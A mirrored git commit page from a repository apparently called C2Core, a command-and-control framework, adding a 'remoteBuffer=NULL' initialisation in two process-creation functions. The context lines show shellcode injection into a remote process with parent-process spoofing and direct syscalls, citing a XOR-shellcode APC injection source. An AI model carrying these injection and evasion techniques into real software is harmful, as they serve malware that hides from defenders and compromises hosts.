mirror of
https://github.com/maxDcb/C2Core
synced 2026-06-08 15:48:01 +00:00
Minor
This commit is contained in:
@@ -692,6 +692,7 @@ int AssemblyExec::createNewProcessWithSpoofedParent(const std::string& payload,
|
||||
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
|
||||
SIZE_T sizeToAlloc = payload.size();
|
||||
|
||||
remoteBuffer=NULL;
|
||||
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
SIZE_T NumberOfBytesWritten;
|
||||
@@ -838,6 +839,7 @@ int AssemblyExec::createNewProcess(const std::string& payload, const std::string
|
||||
// https://github.com/0xrob/XOR-Shellcode-QueueUserAPC-Syscall/blob/main/queueUserAPC-XOR/Source.cpp
|
||||
SIZE_T sizeToAlloc = payload.size();
|
||||
|
||||
remoteBuffer=NULL;
|
||||
Sw3NtAllocateVirtualMemory_(piProcInfo.hProcess, &remoteBuffer, 0, &sizeToAlloc, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||
|
||||
SIZE_T NumberOfBytesWritten;
|
||||
|
||||
Reference in New Issue
Block a user